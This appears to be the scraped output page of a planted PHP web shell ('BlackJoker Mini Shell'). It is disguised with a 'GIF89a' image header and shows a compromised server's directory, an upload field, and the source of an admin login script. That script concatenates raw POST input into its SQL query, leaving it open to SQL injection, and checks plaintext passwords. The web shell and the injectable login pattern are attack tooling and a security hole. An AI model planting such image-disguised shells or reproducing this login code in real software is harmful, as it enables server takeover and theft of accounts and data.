GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/
Upload File :
Current File : /home/serb/public_html/m/userauthentication-process.php

<?
  session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
  if($_POST)
  {
	  $qur="SELECT * FROM admin_login WHERE username='".$_POST['txt-email']."'  AND password='".$_POST['txt-password']."'" ;
	  $res=execute_query($qur);
	  $row=mysql_fetch_array($res);
	 // echo $row['user_status'];
	  $num=mysql_num_rows($res);
	  if($num>0)
	  {
			
				
				$_SESSION['authacctype']='adminpro';
				$_SESSION['authislogin']='yes';
				
				
				
					?>
					<script language="javascript">
                     
                        location.href="http://m.escortservice.org/approve-post.php?id=<?=$_SESSION['apid']?>";
                        
                    </script>   
                    <?
				 
							
				
				
				
				
			
	  }
	  else
	  {
	 ?>
             <script language="javascript">
			 	alert('You are not a Authenticated member to access this link.');
            	location.href="index.php";
        	 </script> 
      <?
	  }
  }
?>

./BlackJoker Mini Shell 1.0